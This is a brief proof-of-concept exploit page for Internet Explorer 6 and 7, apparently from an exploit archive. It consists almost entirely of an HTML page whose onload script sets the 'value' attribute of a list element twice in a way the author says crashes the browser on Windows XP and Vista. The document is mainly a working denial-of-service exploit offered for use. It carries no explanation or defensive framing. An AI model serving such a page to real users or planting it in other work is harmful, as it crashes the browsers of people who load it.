MS Internet Explorer (Javascript SetAttribute) Remote Crash Exploit

<html>
 <head>
  <title> Irfan Asrar</title>
 </head>
<body onload="c()">
Set Attribute Crash : Tested with IE7 Vista
                                  IE6 XP2
                                  IE6 XP3

<script type="text/javascript">

function c() {

var li = document.createElement("li");
li.setAttribute("value", "1");
li.value = "1";

}

</script>
 </body>
</html>